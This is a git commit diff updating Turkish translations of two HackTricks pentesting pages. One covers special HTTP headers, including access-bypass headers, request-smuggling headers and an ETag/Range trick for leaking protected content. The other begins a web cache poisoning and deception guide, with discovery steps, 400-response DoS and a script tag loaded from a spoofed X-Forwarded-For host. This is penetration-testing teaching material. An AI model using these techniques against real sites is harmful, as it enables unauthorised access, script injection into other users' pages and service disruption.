Translated ['network-services-pentesting/pentesting-web/special-http-hea

This commit is contained in:
Translator 2024-02-25 22:30:06 +00:00
parent 4a96fe3c3a
commit 1589c2ec0b
2 changed files with 145 additions and 111 deletions

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) koleksiyonu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
</details>
@ -45,9 +45,9 @@ HackTricks'i desteklemenin diğer yolları:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
## Hop-by-Hop Başlıklar
## Hop-by-Hop başlıklar
Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenip tüketilmesi için tasarlanmış bir başlıktır ve uçtan uca bir başlık yerine geçer.
Hop-by-hop başlık, isteği işleyen proxy tarafından işlenip tüketilmesi için tasarlanmış bir başlıktır, uçtan uca başlık yerine.
* `Connection: close, X-Forwarded-For`
@ -55,7 +55,7 @@ Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenip tüketilmesi
[abusing-hop-by-hop-headers.md](../../pentesting-web/abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## HTTP İstek Smugglingi
## HTTP İsteği Kaçırma
* `Content-Length: 30`
* `Transfer-Encoding: chunked`
@ -68,9 +68,10 @@ Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenip tüketilmesi
**Sunucu Önbellek Başlıkları**:
* Yanıttaki **`X-Cache`** değeri, isteğin önbelleğe alınmadığını göstermek için **`miss`** değerine sahip olabilir ve önbelleğe alındığında **`hit`** değerine sahip olabilir.
* **`Cache-Control`**, bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını belirtir: `Cache-Control: public, max-age=1800`
* **`Vary`**, genellikle yanıtta kullanılır ve normalde anahtarlanmamış olsalar bile önbellek anahtarı olarak işlenen ek başlıkları belirtir.
* Yanıtta **`X-Cache`** değeri, isteğin önbelleğe alınmadığı durumlarda **`miss`** ve önbelleğe alındığında **`hit`** olabilir
* Benzer davranış **`Cf-Cache-Status`** başlığında da görülebilir
* **`Cache-Control`**, bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki kez ne zaman tekrar önbelleğe alınacağını belirtir: `Cache-Control: public, max-age=1800`
* **`Vary`**, genellikle yanıtta **önbellek anahtarı olarak** işlenen **ek başlıkları** belirtmek için kullanılır.
* **`Age`**, nesnenin proxy önbelleğinde kaç saniye olduğunu tanımlar.
* **`Server-Timing: cdn-cache; desc=HIT`**, bir kaynağın önbelleğe alındığını da belirtir
@ -82,31 +83,34 @@ Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenip tüketilmesi
* `Clear-Site-Data`: Kaldırılması gereken önbelleği belirten başlık: `Clear-Site-Data: "cache", "cookies"`
* `Expires`: Yanıtın ne zaman süresinin dolacağını içerir: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
* `Pragma: no-cache`, `Cache-Control: no-cache` ile aynı anlama gelir
* `Pragma: no-cache` `Cache-Control: no-cache` ile aynı anlama gelir
* `Warning`: **`Warning`** genel HTTP başlığı, mesajın durumuyla ilgili olası sorunlar hakkında bilgi içerir. Bir yanıtta birden fazla `Warning` başlığı görünebilir. `Warning: 110 anderson/1.3.37 "Response is stale"`
## Koşullu İfadeler
## Koşullar
* **`If-Modified-Since`** ve **`If-Unmodified-Since`** başlıklarını kullanan istekler, yanıt başlığı\*\*`Last-Modified`\*\* farklı bir zaman içeriyorsa yalnızca veri ile yanıtlanır.
* **`If-Match`** ve **`If-None-Match`** kullanarak koşullu istekler, web sunucusu yanıtın içeriğini değiştirdiyse içeriği (Etag) gönderir. `Etag`, HTTP yanıtından alınır.
* **Etag** değeri genellikle yanıtın içeriğine dayalı olarak hesaplanır. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ifadesi, `Etag`'ın **37 baytın** Sha1'i olduğunu gösterir.
* Bu başlıkları kullanan istekler: **`If-Modified-Since`** ve **`If-Unmodified-Since`**, yanıt başlığı\*\*`Last-Modified`\*\* farklı bir zaman içeriyorsa yalnızca veri ile yanıt verilecektir.
* **`If-Match`** ve **`If-None-Match`** kullanarak koşullu istekler, bir Etag değeri kullanır, böylece web sunucusu yanıtın içeriğini, verinin (Etag) değişip değişmediğinde gönderir. `Etag`, HTTP yanıtından alınır.
* **Etag** değeri genellikle yanıtın içeriğine dayalı olarak **hesaplanır**. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` 37 baytın **Sha1**'ini gösterir.
## Aralık istekleri
* **`Accept-Ranges`**: Sunucunun aralık isteklerini destekleyip desteklemediğini ve destekliyorsa aralığın hangi birimde ifade edilebileceğini belirtir. `Accept-Ranges: <range-unit>`
* **`Range`**: Sunucunun döndürmesi gereken belgenin bir parçasını belirtir.
* **`If-Range`**: Verilen etag veya tarihle eşleşen bir koşullu aralık isteği oluşturur. İndirilecek iki aralığı uyumsuz kaynak sürümünden önlemek için kullanılır.
* **`Content-Range`**: Kısmi bir mesajın tam bir mesajdaki yeri belirtir.
* **`If-Range`**: Verilen etiket veya tarih eşleşirse yalnızca karşılanan koşullu aralık isteği oluşturur. İki uyumsuz sürümün iki aralığını indirmeyi önlemek için kullanılır.
* **`Content-Range`**: Tam bir gövde mesajında kısmi bir mesajın nerede olduğunu belirtir.
## Mesaj gövde bilgisi
## Mesaj gövdesi bilgileri
* **`Content-Length`:** Kaynağın boyutu, ondalık sayıda bayt cinsinden.
* **`Content-Type`**: Kaynağın medya türünü belirtir
* **`Content-Length`:** Kaynağın boyutu, ondalık bayt sayısı olarak.
* **`Content-Type`**: Kaynağın ortam türünü belirtir
* **`Content-Encoding`**: Sıkıştırma algoritmasını belirtmek için kullanılır.
* **`Content-Language`**: İzleyici için amaçlanan insan dilini tanımlar, böylece kullanıcılar kendi tercih ettikleri dile göre farklılaşabilir.
* **`Content-Language`**: İzleyici için amaçlanan insan dil(ler)ini tanımlar, böylece kullanıcıların kendi tercih ettikleri dile göre farklılaşmasına izin verir.
* **`Content-Location`**: Döndürülen veriler için alternatif bir konumu belirtir.
Bir pentest açısından bu bilgi genellik
Pentest açısından bu bilgi genellikle "anlamsız" olabilir, ancak kaynak 401 veya 403 ile korunuyorsa ve bu bilgiyi elde etmenin bir **yolu** varsa, bu **ilginç** olabilir.\
Örneğin, bir HEAD isteği içinde **`Range`** ve **`Etag`** kombinasyonu sayesinde sayfanın içeriğini HEAD istekleri aracılığıyla sızdırabilir:
* Yanıtı içeren bir başlıkla birlikte `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıtla birlikte `Range: bytes=20-20` başlığıyla yapılan bir istek, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırır.
## Sunucu Bilgisi
* `Sunucu: Apache/2.4.1 (Unix)`
@ -114,16 +118,16 @@ Bir pentest açısından bu bilgi genellik
## Kontroller
* **`Allow`**: Bu başlık, bir kaynağın işleyebileceği HTTP yöntemlerini iletmek için kullanılır. Örneğin, `Allow: GET, POST, HEAD` olarak belirtilebilir ve kaynağın bu yöntemleri desteklediğini gösterir.
* **`Expect`**: İstemcinin, isteğin başarılı bir şekilde işlenmesi için sunucunun karşılaması gereken beklentileri iletmek için kullanılır. Yaygın bir kullanım durumu, büyük bir veri yükü göndermeyi amaçlayan istemcinin `Expect: 100-continue` başlığını kullanmasıdır. İstemci, iletimi sürdürmeden önce `100 (Continue)` yanıtını bekler. Bu mekanizma, sunucu onayını bekleyerek ağ kullanımını optimize etmeye yardımcı olur.
* **`Allow`**: Bu başlık, bir kaynağın işleyebileceği HTTP yöntemlerini iletmek için kullanılır. Örneğin, `Allow: GET, POST, HEAD` olarak belirtilebilir, bu da kaynağın bu yöntemleri desteklediğini gösterir.
* **`Expect`**: İstemcinin, isteğin başarılı bir şekilde işlenmesi için sunucunun karşılaması gereken beklentileri iletmek için kullanılır. Yaygın bir kullanım durumu, büyük bir veri yükü göndermeyi amaçlayan istemcinin sinyal vermek için `Expect: 100-continue` başlığını kullanmasıdır. İstemci, iletimi sürdürmeden önce bir `100 (Devam et)` yanıtı arar. Bu mekanizma, sunucu onayını bekleyerek ağ kullanımını optimize etmeye yardımcı olur.
## İndirmeler
* HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın web sayfası içinde **inline** (içeride) mi yoksa **attachment** (indirilen) olarak mı görüntülenmesi gerektiğini yönlendirir. Örneğin:
* HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın web sayfası içinde **inline** olarak mı yoksa bir **ek** (indirilen) olarak mılenmesi gerektiğini yönlendirir. Örneğin:
```
Content-Disposition: attachment; filename="filename.jpg"
```
Bu, "dosyaadı.jpg" adlı dosyanın indirilmesi ve kaydedilmesi amaçlanmıştır.
Bu, "filename.jpg" adlı dosyanın indirilmesi ve kaydedilmesi amaçlanmıştır.
## Güvenlik Başlıkları
@ -135,7 +139,7 @@ Bu, "dosyaadı.jpg" adlı dosyanın indirilmesi ve kaydedilmesi amaçlanmıştı
### **Güvenilir Türler**
CSP aracılığıyla Güvenilir Türlerin zorunlu hale getirilmesiyle, uygulamalar DOM XSS saldırılarına karşı korunabilir. Güvenilir Türler, yalnızca belirlenmiş güvenlik politikalarına uygun olarak oluşturulmuş nesnelerin tehlikeli web API çağrılarında kullanılmasını sağlar, böylece JavaScript kodunu varsayılan olarak güvence altına alır.
CSP aracılığıyla Güvenilir Türler'i zorlayarak, uygulamalar DOM XSS saldırılarına karşı korunabilir. Güvenilir Türler, yalnızca belirlenmiş güvenlik politikalarına uygun olarak oluşturulmuş nesnelerin, tehlikeli web API çağrılarında kullanılabileceğini sağlar, böylece JavaScript kodunu varsayılan olarak güvence altına alır.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -154,19 +158,19 @@ el.innerHTML = escaped; // Results in safe assignment.
```
### **X-Content-Type-Options**
Bu başlık, XSS zafiyetlerine yol açabilecek bir uygulama olan MIME türü tespitini önler. Sunucu tarafından belirtilen MIME türlerine tarayıcıların saygı göstermesini sağlar.
Bu başlık, XSS güvenlik açıklarına yol açabilecek bir uygulama olan MIME türü karıştırma işlemini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar.
```
X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
Clickjacking'i engellemek için bu başlık, belgelerin `<frame>`, `<iframe>`, `<embed>` veya `<object>` etiketlerinde nasıl gömülebileceğini sınırlar ve tüm belgelerin gömülme izinlerini açıkça belirtmelerini önerir.
Clickjacking'i önlemek için bu başlık, belgelerin `<frame>`, `<iframe>`, `<embed>` veya `<object>` etiketlerinde nasıl gömülebileceğini kısıtlar ve tüm belgelerin gömülme izinlerini açıkça belirtmelerini önerir.
```
X-Frame-Options: DENY
```
### **Cross-Origin Resource Policy (CORP) ve Cross-Origin Resource Sharing (CORS)**
CORP, web siteleri tarafından yüklenen kaynakların hangilerinin yüklenebileceğini belirlemek için önemlidir ve cross-site sızıntıları önler. Öte yandan, CORS, belirli koşullar altında aynı kök politikasını gevşeten daha esnek bir cross-origin kaynak paylaşım mekanizması sağlar.
CORP, web siteleri tarafından yüklenen hangi kaynakların belirlendiği için önemlidir ve site arası sızıntıları azaltır. Öte yandan CORS, belirli koşullar altında aynı köken politikasını gevşeten daha esnek bir kökenler arası kaynak paylaşım mekanizması sağlar.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
@ -174,14 +178,14 @@ Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) ve Cross-Origin Opener Policy (COOP)**
COEP ve COOP, çapraz kaynak izolasyonunu etkinleştirmek için önemlidir ve Spectre benzeri saldırı riskini önemli ölçüde azaltır. Bunlar, çapraz kaynak kaynaklarının yüklenmesini ve çapraz kaynak pencereleriyle etkileşimi kontrol eder.
COEP ve COOP, çapraz köken izolasyonunu etkinleştirmek için önemlidir ve Spectre benzeri saldırı riskini önemli ölçüde azaltır. Bunlar sırasıyla çapraz köken kaynakların yüklenmesini ve çapraz köken pencerelerle etkileşimi kontrol eder.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
Son olarak, HSTS, tarayıcıları yalnızca güvenli HTTPS bağlantıları üzerinden sunucularla iletişim kurmaya zorlayan bir güvenlik özelliğidir, böylece gizlilik ve güvenlik artırılır.
Son olarak, HSTS, tarayıcıları yalnızca güvenli HTTPS bağlantıları üzerinden sunucularla iletişim kurmaya zorlayan bir güvenlik özelliğidir, böylece gizliliği ve güvenliği artırır.
```
Strict-Transport-Security: max-age=3153600
```
@ -194,14 +198,14 @@ Strict-Transport-Security: max-age=3153600
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,188 +1,218 @@
# Önbellek Zehirlenmesi ve Önbellek Aldatma
# Önbellek Zehirlenmesi ve Önbellek Aldatmacası
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Fark
> **Web önbellek zehirlenmesi ile web önbellek aldatma arasındaki fark nedir?**
> **Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?**
>
> * **Web önbellek zehirlenmesinde**, saldırgan uygulamanın önbelleğine zararlı içerik depolamasına neden olur ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
> * **Web önbellek aldatmasında**, saldırgan uygulamanın önbelleğine başka bir kullanıcıya ait hassas içerik depolamasına neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.
> * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü amaçlı içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
> * **Web önbellek aldatmacasında**, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe depolamaya zorlar ve ardından bu içeriği önbellekten alır.
## Önbellek Zehirlenmesi
Önbellek zehirlenmesi, istemci tarafındaki önbelleği manipüle etmeyi amaçlayarak istemcilerin beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemesini zorlar. Etkilenen sayfanın popülerliğine bağlı olarak etkisi değişir, çünkü kirletilmiş yanıt sadece önbellek kirliliği döneminde sayfayı ziyaret eden kullanıcılara sunulur.
Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirletilmiş yanıtın yalnızca önbellek kirliliği döneminde sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır.
Önbellek zehirlenmesi saldırısının gerçekleştirilmesi birkaç adımı içerir:
1. **Anahtarlanmamış Girişlerin Belirlenmesi**: Bu, önbelleğe alınması için gerekli olmasa da, sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceği için önemlidir.
2. **Anahtarlanmamış Girişlerin Sömürülmesi**: Anahtarlanmamış girişleri belirledikten sonra, bir sonraki adım saldırganın yararına sunucunun yanıtını nasıl değiştireceğini anlamaktır.
3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alınmasını sağlamaktır. Böylece, önbellek zehirlenmesi sırasında etkilenen sayfaya erişen herhangi bir kullanıcı kirletilmiş yanıtı alır.
1. **Anahtarsız Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir.
2. **Anahtarsız Girişlerin Sömürülmesi**: Anahtarsız girişleri tanımladıktan sonra, bir sonraki adım bu parametreleri nasıl kötüye kullanacağınızı belirlemeyi içerir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir.
3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin zehirlendiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı, kirletilmiş yanıtı alacaktır.
### Keşif: HTTP başlıklarını kontrol edin
Genellikle, bir yanıtın **önbelleğe alındığı** durumlarda buna işaret eden bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken başlıkları bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Keşif: 400 kodunu önbelleğe alın
### Keşif: 400 kodunu önbelleğe alma
Eğer yanıtın bir önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla** istek göndermeyi deneyebilirsiniz, bu da bir **400 durum koduyla** yanıtlanmalıdır. Ardından isteği normal olarak erişmeyi deneyin ve yanıtın bir 400 durum kodu olup olmadığını kontrol edin, bu durumda zafiyetli olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).\
Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu durumda bir **durum kodu 400** ile yanıt verilecektir. Daha sonra isteği normal olarak erişmeyi deneyin ve yanıtın **400 durum kodu** olup olmadığını kontrol edin, eğer öyleyse, zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).\
Kötü yapılandırılmış bir başlık sadece `\:` olabilir.\
_Unutmayın, bazen bu tür durum kodları önbelleğe alınmaz, bu yüzden bu test işe yaramaz olabilir._
_Not: Bu tür durum kodlarının bazen önbelleğe alınmadığını unutmayın, bu test işe yaramaz olabilir._
### Keşif: Anahtarlanmamış girişleri belirleme ve değerlendirme
### Keşif: Anahtarsız girişleri tanımlayın ve değerlendirin
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak, sayfanın yanıtını değiştirebilecek parametreleri ve başlıkları **brute-force** yöntemiyle bulabilirsiniz. Örneğin, bir sayfa, betiği oradan yüklemek için `X-Forwarded-For` başlığını kullanabilir:
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek **parametreleri ve başlıkları brute-force** yöntemiyle belirleyebilirsiniz. Örneğin, bir sayfa istemciye oradan betiği yüklemesi için `X-Forwarded-For` başlığını kullanabilir:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Zararlı bir yanıtı arka uç sunucudan elde etmek
### Zararlı bir yanıtı arka uç sunucudan çıkarın
Belirlenen parametre/başlık ile nasıl "temizlendiğini" ve hangi yerlerde yanıtı etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirmek veya sizin tarafınızdan kontrol edilen bir JS kodu yüklemek? DoS gerçekleştirmek?...)
Belirlenen parametre/başlık ile kontrol edin, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin kontrolünüzdeki bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...)
### Yanıtı önbelleğe almak
### Yanıtı önbelleğe alın
Kötüye kullanılabilecek sayfayı, hangi parametrenin/başlığın kullanılacağını ve nasıl kötüye kullanılacağını belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınması gereken kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.\
Yanıttaki **`X-Cache`** başlığı, isteğin önbelleğe alınmadığı durumlarda **`miss`** değerine sahip olabilirken, önbelleğe alındığında **`hit`** değerine sahip olabilir.\
**`Cache-Control`** başlığı da kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki önbelleğe alınma zamanını bilmek için ilginç olabilir: `Cache-Control: public, max-age=1800`\
Başka bir ilginç başlık ise **`Vary`** başlığıdır. Bu başlık, genellikle anahtarlanmamış olsalar bile, önbellek anahtarı olarak kabul edilen ek başlıkları belirtmek için kullanılır. Bu nedenle, saldırgan, hedeflediği kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\
Önbellekle ilgili bir başka başlık ise **`Age`** başlığıdır. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca bulunduğunu tanımlar.
Kötüye kullanılabilecek **sayfayı**, hangi **parametre**/**başlığı** kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeler yapmanız gerekebilir.\
Yanıtta bulunan **`X-Cache`** başlığı, isteğin önbelleğe alınmadığı durumlarda **`miss`** değerine sahip olabileceği gibi, önbelleğe alındığında **`hit`** değerine sahip olabilir.\
**`Cache-Control`** başlığı da kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını bilmek için ilginç olabilir: `Cache-Control: public, max-age=1800`\
Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak kullanılmayan ek başlıkları belirtmek için kullanılır. Bu nedenle, saldırgan, hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent` kullanan kullanıcılar için önbelleği zehirleyebilir.\
Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye süredir bulunduğunu tanımlar.
Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin**, çünkü bazıları beklenmedik şekilde **anahtar olarak kullanılabilir** ve kurbanın aynı başlığı kullanması gerekebilir. Bir Önbellek Zehirleme işlemini her zaman farklı tarayıcılarla **test edin** ve çalışıp çalışmadığını kontrol edin.
Bir isteği önbelleğe alırken, kullandığınız başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtar olarak kullanılabilir** ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin.
## Sömürü Örnekleri
### En kolay örnek
`X-Forwarded-For` gibi bir başlık yanıtta temizlenmeden yansıtılıyor.\
